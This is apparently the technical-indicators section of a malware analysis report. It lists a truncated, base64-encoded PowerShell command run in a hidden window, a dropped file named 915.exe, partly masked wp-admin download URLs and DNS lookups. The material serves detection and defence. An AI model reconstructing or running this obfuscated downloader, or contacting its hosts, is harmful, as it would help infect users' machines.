Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAEYAUgBXAEYAcgBoAG8APQAnAFEATgBCAEoAVwBmAHMAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBjAHUAUgBpAHQAWQBQAFIAYABvAGAAVABvAGAAQwBvAGwAIgAgAD...
- %HOMEPATH%\915.exe
- %HOMEPATH%\915.exe
- %HOMEPATH%\915.exe
- http://xt###che.com/wp-admin/yB7615/
- http://www.xt###che.com/wp-admin/yB7615/
- http://he####philic.com/wp-admin/8za/
- http://hn##yq.com/apwxf/0m58837/
- http://ch####nslums.com/wp-admin/Z0d0Rsky/
- DNS ASK su###birkin.com
- DNS ASK xt###che.com
- DNS ASK he####philic.com
- DNS ASK hn##yq.com
- DNS ASK ch####nslums.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAEYAUgBXAEYAcgBoAG8APQAnAFEATgBCAEoAVwBmAHMAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBjAHUAUgBpAHQAWQBQAFIAYABvAGAAVABvAGAAQwBvAGwAIgAgAD...' (со скрытым окном)